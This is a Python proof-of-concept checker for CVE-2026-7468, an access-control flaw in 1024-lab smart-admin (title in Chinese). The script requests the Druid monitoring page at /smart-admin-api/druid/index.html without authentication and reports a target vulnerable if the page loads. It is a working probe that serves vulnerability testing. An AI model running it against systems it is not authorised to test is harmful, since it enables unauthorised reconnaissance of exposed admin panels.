CVE-2026-7468 1024-lab smart-admin 访问控制漏洞

import requests def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2026-7468. Attempts to access the Druid index page without authentication. """ # Construct the full path to the vulnerable endpoint vulnerable_path = "/smart-admin-api/druid/index.html" full_url = target_url.rstrip('/') + vulnerable_path try: # Send a GET request to the target response = requests.get(full_url, timeout=10) # Verify if the response status is 200 and contains Druid specific keywords if response.status_code == 200 and "Druid" in response.text: return True, full_url else: return False, full_url except requests.RequestException as e: print(f"[!] Connection error: {e}") return False, full_url if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target is_vuln, url = check_vulnerability(target) if is_vuln: print(f"[+] Target {url} is vulnerable to CVE-2026-7468.") else: print(f"[-] Target {url} is not vulnerable.")